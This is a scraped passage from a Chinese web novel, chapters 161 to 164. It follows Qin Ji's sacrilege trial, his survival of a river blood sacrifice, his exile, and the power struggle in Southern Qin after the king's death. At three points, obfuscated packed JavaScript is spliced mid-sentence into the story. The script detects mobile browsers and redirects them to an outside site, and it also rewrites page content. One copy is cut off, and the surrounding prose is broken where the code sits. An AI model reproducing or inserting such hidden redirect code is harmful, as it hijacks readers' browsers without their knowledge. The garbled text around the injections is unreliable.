所以,你是梁太子的父亲,和我秦太子有什么关系呢? 送走萧玠后,他这么想着,开始打磨新的匕首。 是故,我还是那个最了不起的刺客。我还是要行刺。 161.第 161 章 秦寄全神贯注,打磨好那把匕首,在杀死萧恒前,准备先拿王虞二人的遗留问题牛刀小试。 王云楠在潮州留下阿芙蓉的尾巴,一路伸到柳州,在络绎不绝的运输工具里,秦寄居然发现了通向南秦的车马。 这是比萧恒一时存亡更加可怕的事。 这批阿芙蓉不是小数,要论容器,自然是新铸的铜像为佳。而且在铜像装车前,出了一些摩擦事故。这给了人从中间隙的契机。 于是秦寄追踪那批来自换衣节的马车回到南秦,在金河边,打碎了那座光明铜像。 空空如也。 他的渎神罪名板上钉钉。 秦寄被押入神祠,由紫铜大像和他祖宗的灵位一起审判他这个不孝子孙。雪白的大宗伯代神而问:“秦氏子寄,你是否认罪?” 秦寄说:“不。” 话音落地时,秦灼一个响雷般快步冲进来。这是秦寄在萧玠雨夜到来后第一次在父亲脸上看到如此神情。 秦灼代他答:“他认。” 秦寄叫道:“不!” 没被三个武士按在地上的秦寄,被秦灼一脚踹倒了。紧接他扑通跪在秦寄身边,对大宗伯说:“臣是其君,更是其父,子民之过皆咎于我身。孽子重罪,我愿替他服刑。” 被称作大宗伯的少年未置可否。 这似乎是给秦灼一个表心迹的机会。秦灼二话不说,抄起那把作为渎神凶器的虎头匕首,就要割向手腕。 秦寄无法容忍。如果他的生命来自秦灼腹部的第三道伤疤,那他怎么能让秦灼的身体再遭受伤痕? 他居然在三个人按压下夺下那把匕首,鲜血淋漓溅落,滋润大地但绝不滋润神明嘴唇。 秦寄叫道:“我不服!” 大宗伯净如琉璃的眼睛凝向他,“不服什么?” “我不服你们的祭祀,你们的审判。”秦寄在这里,终于用了“你们”。 他挣开身上六只手掌,像挣开五指山一样一下子站起来,“我不服但有违逆就降罪侮辱,我不服借神名头冠冕堂皇地私刑杀人,我不服一个喝血吃肉的邪神!” 秦灼身体战栗起来,不知是愤怒还是恐惧,“你胡说什么?” 秦寄掉头,“不是吗?你是怎么怀上的萧玠?据说萧玠是八个月出生,那你是什么时候怀上的他?五月初五吗?” 秦灼一巴掌打在他脸上。 秦寄整颗头颅整个身体一动不动,仍死死盯着秦灼的脸。 那年五月初五你和萧恒祭天地拜高堂,洞房花烛不是理所应当?凭什么一个神像夫妻离散的故事就让人不做夫妻,凭什么睡一觉就降这种奇耻大辱把人变得不男不女?你敢说萧玠不是你的儿子,不是你肚子里剖出来的儿子吗? 全部恶毒的话语,没有通过嘴巴,仅经双眼就溅射而出。秦灼不再看他,麻木道:“养不教,父之过。” 他也不看秦灼,说:“他生了我,但代不了我。” 我不认罪,我不认错。 除非你认我的生命就是一个错误。 除非你认我的出生就是一桩罪过。 既如此,你又何来真正虔诚? 你若虔诚,就要改错。 你要改错,为什么没有杀死我? 秦灼动用世俗君主的权力,为秦寄争取七天时间。这七天里,如果能证明秦寄言辞属实,或秦寄认罪听谛,刑罚皆能减轻。 听谛是光明宗最虔诚的供奉方式,食不可饱,衣不可暖,行不可乘车,每日以血抄经,苦修至死,终身不婚。 南秦不可能有一个不婚的君主,留给秦寄的只有证明清白一条路。 但秦寄知道,死路一眼望到头。 七天之内,他不允许进食。至第四天,断绝饮水。空乏其身才是对神灵最好的献祭。秦寄知道试刀口决堤让他在劫难逃。 也不想逃。 满殿灯烛耀如火炬,满墙牌位高如宝塔,他就以一个无礼至极的箕踞姿势坐在光明神像之前,渺小无比,宛如一粒红身蚂蚁。长达两丈的黑底宝幡在他身侧舞动,上面篆字密密,是手抄的金色祝福,打在脸上像耳光的余韵。那巴掌不算痛,但真疼。 第七日中午,他要了一篮蜡纸。大宗伯了然,允许他依照南秦习俗,完成对自己生命的告别仪式。 秦寄没叠两朵,又来了秦灼。 短短七日,秦灼看上去像度过七年。父子两个对望片刻,都没有责问的意思。 秦灼问大宗伯:“他认罪吗?” 大宗伯说:“不。” 秦灼点点头,“容我们父子两个说会话吧。” 作为南秦君主,他还是有这点权力。大宗伯退去,殿门合拢,内部构成一个奇幻的伦理血缘结构。宗教和血缘的一双父子,两个有罪又其罪何为的人。 秦灼看到那只篮子,把它放远了,将自己的篮子拿过来,里面都是秦寄素日爱吃的食物。 秦寄说:“你知道我不爱吃乳品。” 秦灼说:“是。只是你早产,小时候骨头很脆,多吃乳品能好些。” 秦寄看了他一会,说:“我不认罪。” 秦灼道:“不认就不认。” 秦寄有些惊讶,他表达惊讶的方式是一瞬不瞬地看秦灼。秦灼笑了一下,伸出双手从头顶往下抚摸他的脸,又继续往下摸过他的手臂、身体到脚背,说:“你刚出生我总以为养不活你,没想到都这么大了。” 接着秦灼换了语气,郑重嘱咐他:“明天上午,你姑姑会来接你去我宫里,你老实待着哪里也不许去。如果晌午之后,她把我的王玺给你,你就立刻去金河边,你姑父和你老师会拥立你成为南秦的新君。不管你对光明宗有什么意见,全部等到你继位之后再做打算。你说的阿芙蓉的事,我已经在着手调查了,这件事会有人配合你继续查下去。” 他顿了顿,“如果我能回来,一切就解决了,但我会先废掉你,让你去给列祖列宗守陵,那里有你老师照看你。等再过两年事态平息,会有一桩神迹出现,我会顺应天意,再次册立你。” 秦寄明白了,“你还是想替我。” 秦灼说:“如果我只是你的父亲,可能真的会舍弃你。一哆嗦和一块肉还是不一样的。” 秦寄沉默片刻,问:“你恨他吗?” 秦灼叹口气:“你都这么大了。” 秦寄又问:“你恨我吗?” 秦灼看着他,说:“对不起,叫你这么想,是我的失职。一直以来我都是一个失败的父亲。今天我想告诉你,你是我一段时间活下去的全部力气。不是我给你的命,是你救了我的命。你是我最感谢的孩子。我知道你一直很懂事。” 秦寄看着他握住自己的手,想,你一直是我活下去的全部力气,一直是。 他抬手摸了摸秦灼鬓角,他想传闻中那不让美人的绿鬓居然也生了白发。他生育自己的时候就不再年轻,自己和他斗气的时候,他已经老了。 秦寄想着,把手落到秦灼后颈,打昏了他。 人道生子鬼门关。如果你在我出生的时候就险些一死,我怎么可能让你为我再死一次? 他抱住秦灼,将父亲缓缓放在蒲团上,将那把虎头匕首别到腰后。 秦寄问:“明天,你会为我叠纸花吗?” 他当然也不要秦灼回答。 在被带离神祠前,秦寄为自己叠完了一篮纸花。不管秦灼会放掉它、留下它,还是丢掉它。 * 第八日,清晨,乌云退散,金阳开道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827252|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦史将代后世子孙铭记,未来的武公秦寄曾作为献祭羔羊踏足金河。试刀口决堤之后展露出毁容老妇的面孔,河水在见到秦寄时立即汹涌,控诉他才是导致天灾的祸凶。 秦寄在这里迎来他前所未有的万众瞩目时刻。 他在人群中看到姑父和老师,在看到他的一瞬,他们脸上闪现惊异惶恐。 计划被打乱了。这个要被解救的牺牲才是最大的变数。 牺牲秦寄走到岸边,仰望对岸祭台。大宗伯飘浮其上宛如白云。他转头看向宰割者,是宗祠的一名年轻宗伯。 秦寄无数次宰割过羔羊,匕首割断血脉时那些牲畜眼中闪动金黄的宝石光。那时愚蠢的人类秦寄尚未读懂其中诅咒。它们诅咒一切刽子手皆被解剖。现在果然轮到秦寄做羔羊。 他的四只手脚被迅速割开,血液绽放,滴成河面红莲,攀成衣上藤条。宗伯将沙漏倒放,献祭开始,惩罚开始,赐福开始,一切生灵的审判开始。秦寄转身,踏入今时今日只他一人可以涉足的河流。他没有站立,他躺下。身下充水肿胀的太阳将白衣肿胀的他包裹,像一只膨胀的金色子宫把一枚苍白胚胎包裹。他飘浮在水里的太阳里,像一个鱼鳔,也像一堆泡沫。金河的血液在他耳边流动,他的血液和金河交融。他躺在水中日看天上日,在金色绽放的光圈尽头看到了他无数面目模糊的祖宗。 我生命的源头一切的初始,你们是要拯救我还是杀死我。 如果拯救我何必处罚我,如果杀死我何必生育我。 如果由我杀尔等,今时今日何为我。 他们盯着秦寄秦寄盯着他们。他们不说话秦寄不说话。他把河水温暖浸红,也把河水污染净化。血色充盈的金河簇拥着苍白一片的他。他破裂的血管开出朵朵白莲花。莲花开落秦寄漂浮。人群嗡动如蝶飞舞。河水血补秦寄血枯。太阳中诸神诸祖酣畅餍足。放血飨神剔骨还父。 还你性命,还你血肉。 买我仇恨,买我自由。 买我再生之后弑君弑神的刀剑。 买我血缘之外一切血缘的源头。 买我是福是祸自择坟墓。 买我父来生来世不做我母。 买我生则弑神成神。 买我死彼断子绝孙。 买神我彼此同归于尽玉石共焚。 尚飨,尚飨,诸祖并听,诸神同临。 流沙开始,秦寄死去。流沙停止,秦寄活来。旧的秦寄沉于河底,新的秦寄冉冉升起。秦寄踏出河水,成为有史以来第一个战胜金河祭的活人。 一直守望的秦华阳喊道:“秦寄成活,父母息怒!神明免其罪责,大宗伯,今当免其罪责!” 祭台上,面目模糊的大宗伯颔首。 钟声响起,仪式结束。 秦寄甩开秦华阳,自己拽过纱布包扎手脚。秦华阳长舒一口气,“好在顺利结束了。舅舅呢,怎么你自己来了?” 秦寄不答,手指去抚摸托盘中的服装。 换衣节已至,秦寄献祭后,诸神将于祭台妆新。新衣新服正安置在秦华阳身侧。 秦华阳一惊,叫道:“阿寄,众怒方息,你又要做什么。” 秦寄不说话,从中取出一双黄金耳环。太阳形状,艳丽过真正的太阳。 他把两个太阳穿在耳上。 人群沸腾。 南秦男者独娼妓穿耳。秦寄取此对神做出最大嘲讽。 巨大的哄闹里,秦寄掐指一哨,黑色骏马闯破人群奔至其前。他翻上马背,做出宣布,今生今世生生世世,秦寄光明水火不容。 我是无母而生的孽种。 我是血统纯正的叛徒。 我宣判你们有罪。 我誓死不会回头。 162.第 162 章 秦寄活着度过金河祭,宣布背离光明宗。第二日,秦灼下旨将其放逐出境,但未废除其少公之位。 旨意传遍南秦大地的每一寸角落,即日起,少公秦寄变为浪子秦寄。 秦寄早已离去。 也无处可去。 他知道秦灼的目的是保护他,但再不会接纳他。他能保住的只有自己的命,若想秦寄回归,除非秦灼废除光明。这在南秦比改朝换代还要艰辛,约莫只有一个皇帝去废帝制才能比拟。 他也不能投奔西琼。他明白母舅爱护下的杀机。他们没有理由对自己好,但他们仍待自己好。这是恩情,需要记。 但在此之前,他还是跑去西琼一趟,为和段元豹告别。 黄昏时分,晚霞涂抹山坡,女孩黧黑面庞泛起胭脂红色。秦寄候鸟一样降临她身边,挨着她坐下,静悄悄地,谁都没有说话。 我离开之后,还有人为你摘金雀花吗? 段元豹不懂他的哀愁,但他懂段元豹的爱。最单纯洁净的爱,超越人类之爱,近似自然之爱。他想他得到过这个此生也算无憾。 在离开西琼前夕,秦寄听到改变余生的一道号角。他在山林深处遇到狼潮。 训练有素的狼,俨如士兵的狼,能由人驱驰操纵的狼。 成为军队的狼。 他认识驱狼的首领,段映蓝麾下的得力干将。 【…】 狼把萧玠再次带到秦寄面前。 两个不该出现在樾州的人,居然在这片苦难的土地上重新会合了。时隔数年,萧玠变得坚韧无比也伤痕遍布。在那里,秦寄见识了他的雷霆手段和一段无疾而终的爱情。 收到郑绥来信时,萧玠脸上浸染尤胜蜜糖的甜蜜。秦寄隔帘静立许久,问一旁的官吏:“郑绥是谁。” 那个姓东方的地方官道:“是郑娘子的父亲。”又补充说:“听闻和殿下自小长大,情谊甚笃。” 【…】 秦寄意识到,自己的嫉妒对象从萧玠变成萧玠身旁之人。这是一件不妙的事。萧玠在他这里越来越重了。 为克服这一点,他训练自己继续讨厌萧玠。做到这件事轻而易举。 他讨厌萧玠笑,笑是对旁人。讨厌萧玠哭,哭是为旁人。讨厌萧玠心碎,这让他很不舒服。更讨厌萧玠屡屡强调,你是我弟弟。 你姓萧我姓秦,你和我能有什么关系?但秦寄又知道,如果没有这层关系,他和萧玠绝无关系。 这似乎是最最讨厌的事。 * 【……】 那还是放过吧。 但萧玠不肯放过他。 段藏青有以死为段映蓝复仇的决心,也不相信任何一个部下会在他死后奉立自己痴傻的女儿。所以他做主,把段元豹嫁给秦寄。 秦寄没有多解释,他接受一个父亲的良苦用心。婚礼只是一个仪式,此后段元豹还是他姐姐,就算他死也会让段元豹余生周全。 他按照西琼最高规格的求娶礼仪,取走白蛇守卫下的金雀花王(据说是西琼所有金雀花的古老母株),并在高禖石棚完成祭祀。他被蛇击伤了手臂,但这种疼痛无关紧要。他用伤臂把铜钱打入石头,他不知道自己在期待什么,他不知道萧玠会不会发现自己去向的异常,又会不会亲自来寻找。大概率不会。可,万一呢? 【……】 如同轮回地,他放走萧玠,萧玠擒获段藏青。 不得不说,郑绥真是一把好用的武器。萧玠留下段藏青一时,但又冷静告诉他,他和段藏青必有一死。 萧玠什么都没说,但秦寄知道他问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦寄躺在他身边,向左侧卧着面对他。眉头紧蹙,一向健康的脸色一片烧红。右臂以一个诡异的姿势吊着,似乎伤了骨头。 据说死后世界俱如美梦,他是死了吗? 萧玠尝试起身,疼了一身冷汗。刚坐起来便觉头晕眼花,耳鸣声尚未消退,便听到有人喜出望外的大喊:“活了,真的活了!军医!军医快来!” 萧玠眼前黑晕褪去,露出赵荔城老泪纵横的脸,他忍着疼痛握住赵荔城手腕,问:“段藏青死了吗?” 赵荔城道:“全成炭灰了。我的殿下,你怎么敢冒这天大的险扯这种瞎话?若非秦少公来得及时,九层的高楼,你就是摔也摔得粉身碎骨了!” 萧玠突然感觉不对,以秦寄之敏锐,他们这样大声交谈只怕早就惊醒了。他探手摸秦寄的脸,只觉烫得厉害,急声问:“他怎么来了?他怎么了?” 赵荔城叹口气:“殿下,你晓得人从高处坠落的冲击……他右臂断了。大臂骨头粉碎,只怕……” 萧玠一下子瘫软下来。 他想起长安临别的夜晚,秦寄问,你知道在南秦,送人断过的弓箭是什么意思吗? 赵荔城见萧玠脸色骤变,正不知如何出言安抚,便见他哇一声呕在地上,竟是一口鲜血。 赵荔城几乎吓得魂飞魄散,忙搀扶他喊:“快诊脉!殿下,这个关头你千万保重!秦少公以后诸事还要仰仗你呢!” 鲁成器正替萧玠擦拭鲜血,似乎听出什么,忙道:“大帅,缓些再讲吧!” 讲什么?萧玠一颗心坠下去,楼塔之中,段藏青贴在耳边吐出的四个字又死蛇一样冰凉地缠绕他。 他不敢主动询问,怕语出成谶,只能紧着嗓子催问:“究竟出了什么事?” 赵荔城单膝跪在他面前,下定某种决心,道:“段贼身死紫螺收复,殿下又转危为安,这是大喜。大伙都出去,把喜讯传布三军。” 等赶进帐中的人们呼啦啦退尽,赵荔城才颤声开口:“殿下,臣是个大老粗,但这么多年怎么也瞧分明了,陛下和殿下心里牵挂的是谁……殿下,是……是秦公……” 萧玠脑中轰隆一响。 段藏青说:秦灼已死。 赵荔城说:“大明山地动,一震百里,连光明台都塌了……秦公,薨了!” 此话一出,萧玠完全没了声息。赵荔城握紧他双手,泪落淋淋,“殿下,殿下!你想想陛下,陛下闻讯当心痛何如,你再有个三长两短,他怎么扛的过去啊!还有秦少公,他以后是生是死何去何从,全由您给他做主了!” 听见秦寄,萧玠浑身抖动一下,泪犹未止,却勉强镇定下来,问:“南秦如今是什么状况?” 赵荔城道:“乱了,全乱了。温吉政君兵围了灵堂,看样子是想推立丹灵侯做新君。几个大姓不干,要在秦氏宗族找适龄子弟继位。丧还没发就较上了劲,眼看就要打起来了……” 萧玠气急,一下子呛咳起来:“秦伯琼虽被远逐,但秦公未废其太子之位!他们争什么抢什么,赶着做乱臣贼子吗?” 赵荔城道:“这才是最要紧的。殿下,臣听闻秦少公背教,南秦一派天怒人怨,南秦继位要进宗祠过他们光明神的眼,只怕这一条就难越过去。还有,秦少公的手……” 萧玠浑身一冷。 在南秦,残疾不得继位。若非如此,秦灼当年也不会被秦善篡位,落得君不君嗣不嗣的潦倒下场。 “少公断臂的事若有走漏,我以泄露军机论处。”萧玠道,“还请伯父延请名医,只说我的胳膊断了,谁能治愈,我当终身赡养以师敬之。” 危机当头,理智已经压制哀痛,萧玠彻底冷静下来。秦寄滚烫的身体挨在他身边,为他生为他死却被他屡屡辜负的骨肉兄弟。 他绝不能让他的兄弟重蹈父亲当年覆辙,绝不。 萧玠又问:“并非我怀疑伯父,只是梁秦少有交通,个中细节,伯父如何得知。” 赵荔城道:“殿下临出长安前,不是派出一支东宫卫队去南秦报信假使团一事么?正是尉迟将军的来信。不过奇怪,他怎么知道火炮营的通信路子——殿下和他联系过?” 他说着,眼看萧玠脸色变了。 “我没有派过卫队去南秦。”萧玠说。 赵荔城双眼圆睁,“那这是……” “我不知道。”萧玠深吸口气,“但这时打着我的旗号到南秦,肯定也是为了推立新君一事。他们要篡立,便要解决正统这个大麻烦。我相信这时候,各路杀手已经遍寻天下来找阿寄踪迹了。” “殿下放心,但凡撞在火炮营手里,必叫他们有来无回!”赵荔城言罢思忖,“但秦少公如今境地着实凶险,要不要先去长安避一段时间?” 萧玠沉思片刻,摇首道:“去南秦。他是光明正大的继承人,更要顺应天意继位,没有东躲西藏的道理。” 他对赵荔城道:“请伯父清点重炮部队,叫右翼预备营随后跟进。等阿寄醒转,左翼轻骑随我同去南秦。打出我的旗帜,我要温吉城一眼就能认出这是谁的王军。” 赵荔城领命退下,帐中又恢复一种慢慢萎缩的寂静,像个被挖掉死胎的胞宫。一想到秦灼,萧玠胃里又翻腾出呕血的痛楚。他疑心自己不会哭了,麻木地,看向身旁的秦寄。只有熟睡的时候秦寄才会褪去棱角,显得像这个年纪的孩子。 萧玠这么看了一会,眼泪便落在他脸上。接着,他像抚摸落日弓一样抚摸秦寄的右臂,缓缓俯身,不倾泻一点力气地,把脸贴在他手背上。 *** 温吉城余震尚未停止,灰紫天幕下,大地隐约浮动着黑色颤影。白石断肢堆积满地,沾满血迹的街道上方回荡着鬼哭之声。如果从太阳的高度俯瞰王城,会清晰看到,两支虎贲军队背道而驰。一支背负口粮抢救灾区,一支刀剑锋利,赶向化作废墟的王寝之地。 这支虎贲军抵达时,会从光明台残址旁看到一座简易灵堂。一个带甲女人傲然挺立,从她的貔貅腰刀和白虎扣腰带可以确认,这就是征召他们的大政君秦温吉。她身边立着一个二十岁左右的年轻人,举止从容贵气,必为丹灵侯秦华阳无疑。 秦温吉道:“国不可一日无君,更何况是如此多事之秋。当今之计,先要册立新君安定民心。” 几大世家都身居要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832922|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 职,如今苏氏供职在朝的正是廷尉苏蟠,闻言冷笑:“册立谁?政君所出的丹灵侯吗?” “大王曾亲口言,阿阳成器,储位许之未尝不可。”秦温吉道,“丹灵侯自幼在大王膝下长大,舅甥情谊甚笃,秩比少公,配半副太子仪仗,举国上下除他之外,谁堪当南秦新君?” 御史中丞裴儒望反对:“非也,政君也说了,丹灵侯是外甥。虽赐国姓,却分属旁宗。依照礼法,当于秦氏宗族再选王孙。牧城侯秦暄乃文公堂弟,其孙秦文治更是少年英杰,依在下看,堪当大任!” 秦温吉转首,目光射向两鬓花白的牧城侯,“我说堂叔这残年之躯,怎么赶来发丧跟骑了千里宝马似的。等着过嗣呢?” 牧城侯避开他目光,“大王薨逝,各宗奔丧,这是礼制。” “哦,怎么秦善篡立的时候堂叔不讲礼制,现在讲起来了。他当年退居被废的时候,堂叔在干什么?赶着烧秦善的热灶,结果让人家记恨不曾烧上吧?”秦温吉哂笑,“你要谢,就谢秦灼仁孝,惦记我阿耶手足单薄,不忍以附逆论处你。容得堂叔眼高于顶,带着什么七拐八绕的侄子,来夺我哥哥的社稷家私!” 苏蟠喝道:“政君大谬!君王之家,何以有私!若使丹灵侯继位,这南秦江山岂不成你大政君一人的天下!” 秦温吉冷笑不言,一挥手臂。 虎贲军立即冲上台阶,越过满地瓦砾砖石,将灵堂团团包围起来。 裴儒望叫道:“政君,你难道要兵变不成?大王尸骨未冷!” “我懒得跟你们扯皮。”秦温吉拔出腰刀,雪亮刀锋倒映她更为雪亮的面孔,“诸公真以为,如今还有商榷的余地?” 裴儒望到底是太平文臣,何曾见过兵刃加身的阵仗,浑身战栗不止,犹喝道:“政君以善逆为耻,难道要再做秦善不成?” 秦温吉发号施令的手从半空攥成拳头,她反而笑了:“找死。” 瞬间,貔貅宝刀跃空而出,正斩向裴儒望颈项! 惨叫声挣出裴儒望喉咙时,所有人听见“嗡”的一响。 一口一模一样的貔貅宝刀架住刀锋。 秦华阳讶然:“阿耶!” 众人沿着持刀的那条手臂,找到镇国将军陈子元的脸。 秦温吉在看到他的一瞬改换了脸上内容,冰冷的嘲讽化成一股烈焰般的怒意喷薄而出。她咬牙切齿道:“你来阻我。” 陈子元喝道:“你这刀下去就无法回头了!” 秦温吉冷笑:“秦氏儿女从不回头,别以为我舍不得砍你这根手!” 她反手撇开陈子元刀锋,这就要快刀割向裴儒望颈项。所有人以为鲜血喷涌的瞬间,居然又有变数发生了。 一支箭,一支穿云长箭,飞速割开风气,直直俯冲到那把刀刃之上。 秦温吉只觉手臂一麻,拧紧手臂才不至于让刀脱手。她转头望去时,听见众人发出惊诧哗然之声。 那是一支不属于虎贲也不属于世族的军队。 山文甲,六合靴,明显的北人容貌特征,还有为首者的喝声: “大梁龙武卫将军尉迟松,奉太子殿下令旨,率东宫卫队赴秦吊丧!” 164.第 164 章 多年之前,秦温吉曾见过这位尉迟松几面。 秦灼还做龙武卫大将军时,尉迟松算是他手下臂膀。秦温吉隐约记得,这是个青壮魁梧的将士,没想到十数年倏然而逝,他也衰迈老去了,独眼光依旧烁亮,脊背仍然挺直。 尉迟松的气势慑人,径登而上居然无人敢阻,直到东宫卫队把灵堂又围一层,人们才回过神。 大梁军队是如何通达秦宫内部的? 尉迟松取出一枚玉印,“我有太子印信。秦公有命,梁太子驾至如其躬亲。” 但这是一个死人的命令,如今城门看守怎会放行? 秦温吉看向陈子元,“你带他进来的。” 陈子元道:“温吉,当务之急是给大王发丧。天这么热,能靠住几日?” 秦温吉冷笑:“嗣子未定,如何举丧?谁来披麻戴孝?” “何来嗣子未定。”尉迟松道,“秦公膝下并非无子。” 秦温吉眼神一闪,牧城侯已经乍着胆子开口:“秦寄渎神叛逆,早被远逐出境,如何做得新君!” 尉迟松眼睛转向他。 牧城侯当即一个冷颤。 怎么会有活人发出这样的目光?冷得像看一个死人。 尉迟松道:“秦公当年被迫远走,侯爷也是这副说辞?能拜服秦善脚下,只怕有过之而无不及吧。” 牧城侯被他紧紧盯住双眼,身体已经不自觉颤抖,听那将军道:“若非大事未定,我必为其清理门户。” 这语气,完全会说到做到。 苏蟠已经喝道:“南秦门户何来你一个外人插手的道理!就算是梁皇帝,这么多年也不敢把手越过大明山头!” “皇帝多年秋毫无犯,究竟是为南秦,还是南秦之主?”尉迟松冷声打断,“某奉旨南下,陛下曾有口谕。公在秦在,公亡,秦未尝不可殉之。我请教诸位,南秦甫遭天灾,还经不经得起兵祸?” 裴儒望嘴唇颤抖:“你想怎样?” “依照礼制,奉立少公秦寄登位。”尉迟松道,“南秦虽已独立,却不曾称帝。大政君北上出使未曾并席,南秦依旧是大梁的诸侯国。这是旨意,不遵则夷。” 裴儒望还要争论,却被苏蟠按住。 苏蟠道:“但如今少公生死未卜。听闻他曾在梁宫待过一段时间,现在却下落全失,我们还没找你们要人哪!少公是否已遭皇帝父子毒手,你们又是否惺惺作态,坐等渔翁之利!” 尉迟松道:“这就是在下奉旨前来的原因。丹灵侯也好秦文治也罢,都有杀人之嫌,不得奉天继位。” 秦温吉这一会仿佛怒火全无了。她已插还宝刀,看戏一样地斜抱手臂,吐出一个:“哦?” 尉迟松道:“秦少公早已南还,跟随的就是所谓丹灵侯率领的使团。是真是假尚且不论,但少公失踪,跟他有关。” 牧城侯道:“那是她大政君的主使,和我们有什么相干!” “此事无干,他事未必。”尉迟松扫视众人,“秦公之死,究竟是天灾,还是人祸?” 苏蟠遽然变色,“莫要含血喷人!光明台坍塌,哪个能预料得到!” 尉迟松道:“大明山虽震,但并非灭顶之灾。明山至秦宫足有百里,距其五十里处的民居尚有幸存,光明台却如此精准地倒塌毁坏。秦宫之中宫台不下数十,光明台建筑最为牢固,居然化为残垣,一块整齐的梁柱都不剩。而翠微台年久失修,木朽梁蠹,居然只塌落一般,几根大柱都没有折断。这讲得通吗?” 裴儒望道:“尉迟将军远道而来不知内情。这几年大王改革光明,竟免除神祠诸伯姬的议政之权,更下令每任大宗伯均由秦公任命,秦公继位不再受神祠决议限制——连章程都不走了!如此变动,何异于数典忘祖亵渎神王!你说为何降灾光明台,未必不是父母的天惩!以此警戒后世诸君,奉则兴,废则亡!” 尉迟松凝定的眼光突然向他一闪,一把出鞘快刀一样。 同时,他的刀也出鞘了。 那是一把极快的刀,快到没有人看清他如何行动,刀刃已经横在苏蟠颈上。 尉迟松道:“我若今日杀你,你的神王是能叫你死而复生,还是叫我雷殛而死?” 前一刻还试图讲道理的暴徒突然要开杀戒,除了动怒只怕没有别的解释。那把钢刀贴着苏蟠颈部跳动的动脉,浸浸寒意已经被他的冷汗打湿。 一个大梁将军在秦宫屠杀南秦重臣,不论是何缘故都无异于宣战。两地战火倘若点燃,他担不担得起这个责任! 这个疯子! 剑拔弩张之际,裴儒望突然冲台下叫道:“大宗伯,往后诸事,还请大宗伯主持公道!” 灰尘舞动的白石砖地,踏上一只木屐。 他一出现,所有人都静止下来,连尉迟松也收起刀,居然有些敬重之意。 郑挽青仍穿戴白色纱衣纱帽,向众人颔首,“刚诵罢光明咒望息神怒,故来迟,诸位恕罪。” 苏蟠紧忙持其手臂,“大宗伯,新君继立,还要请您问天定夺!” “还是先审案吧。”一直没怎么说话的陈子元突然开口,“光明台怎么塌的,到底和明山地动有没有关系——” 裴儒望道:“此事且须后议,若不奉立新君,眼下赈灾便是问题。迟则举国生乱!” “如今储君在外,在场诸位不分彼此,谁敢说不受大王薨逝的利益?都有弑君谋逆的嫌疑!要是不审查干净,让个叛逆继位,大王难以瞑目,父母也要蒙灰受辱!”陈子元冷声喝断,“怎么,我老婆儿子都押在这里,我敢审,你们不敢?” 苏蟠道:“那就请三司介入……” “不行。”居然是尉迟松打断,“廷尉和御史中丞均涉此案,三司中便占了两个。诸位竟不知瓜田李下之理。” 裴儒望道:“我与苏廷尉自然退避。” 尉迟松看他,“难道三司之内,不是二位的门生子弟吗?” 裴儒望脸色一僵,一旁苏蟠冷笑:“一个外族,倒对南秦朝事如数家珍。不知道做了多少年的细作,犯下多少勾当!” 陈子元也皱眉,目光投向尉迟松,“你的意思是……” 尉迟松看向郑挽青,道:“依照南秦旧例,宗族重案,开神祠,由诸宗伯姬主断。” 陈子元眼珠子都快瞪出来,“大王刚废了神祠议政司法之权,你这个……” 话未说完,他已经被秦温吉狠狠踩了一脚。 尉迟松继续道:“君位悬空,更要请秦少公回归主持大局。合法,合制。” 整个灵堂安静了。人们耳中只充盈着余震般的嗡鸣。 大政君一挥手,虎贲卫齐刷刷收剑回鞘。 她踢开脚边瓦块,似乎很轻松地笑了:“成啊。大宗伯,明山重的担子,靠你一肩挑了。” *** 地震之后,夜幕泛起一片紫红光芒。 牧城侯不敢再住房舍,在外宫城支起帐篷勉强作下榻之所。他竖着耳朵听了半天,奇道:“这大宗伯也不会夜间开审,虎贲军呼呼啦啦这么大阵仗,秦温吉又折腾什么事?” 秦文治道:“听说政君带了儿子,去抢灾赈济。” 牧城侯嗤道:“什么赈济,在灾民跟前做样子罢了。这不专门拉着她儿子,赶紧堆个圣主贤君的名声。” 秦文治有些奇怪,“那尉迟已经说得分明,少公失踪和她不无干系,她到底也有篡位弑君的嫌疑,如何还能统调虎贲为其所用?” 牧城侯拧开酒囊吃酒,缓和了一日的疲惫怒气,道:“一半儿的虎符在她手里,大王没了,顶天的就是她。除非秦寄再现,谁能缴她的兵权?当年若非举朝阻拦,只怕大王连神祠祭祀之权都要让渡给她,今日之大宗伯恐怕就是秦华阳了。” 秦文治倒吸口气,“那咱们无兵无权,如何斗得过她?” 牧城侯笑道:“傻孩子,你以为秦温吉这个摄政王做得安稳吗?朝中不满她女人专政久矣,若非大王偏心袒护,她能逍遥快活领兵至今?秦华阳上位,就是她女主临朝的开始。牝鸡司晨是亡国之兆,但凡一个光明信徒都不会允许!想想看,一个天下叛之的新君,如何能安坐高位?” 秦文治急道:“那她岂不是要在大宗伯身上动脑筋?大宗伯又是郑公子孙,郑氏一脉向来跟她情谊深厚……” 牧城侯反倒安定下来,“非也。咱们这位大宗伯也算少入空门,世事人情在他眼中就是一张白纸。要他违背光明宗义向秦华阳俯首称臣,难。” 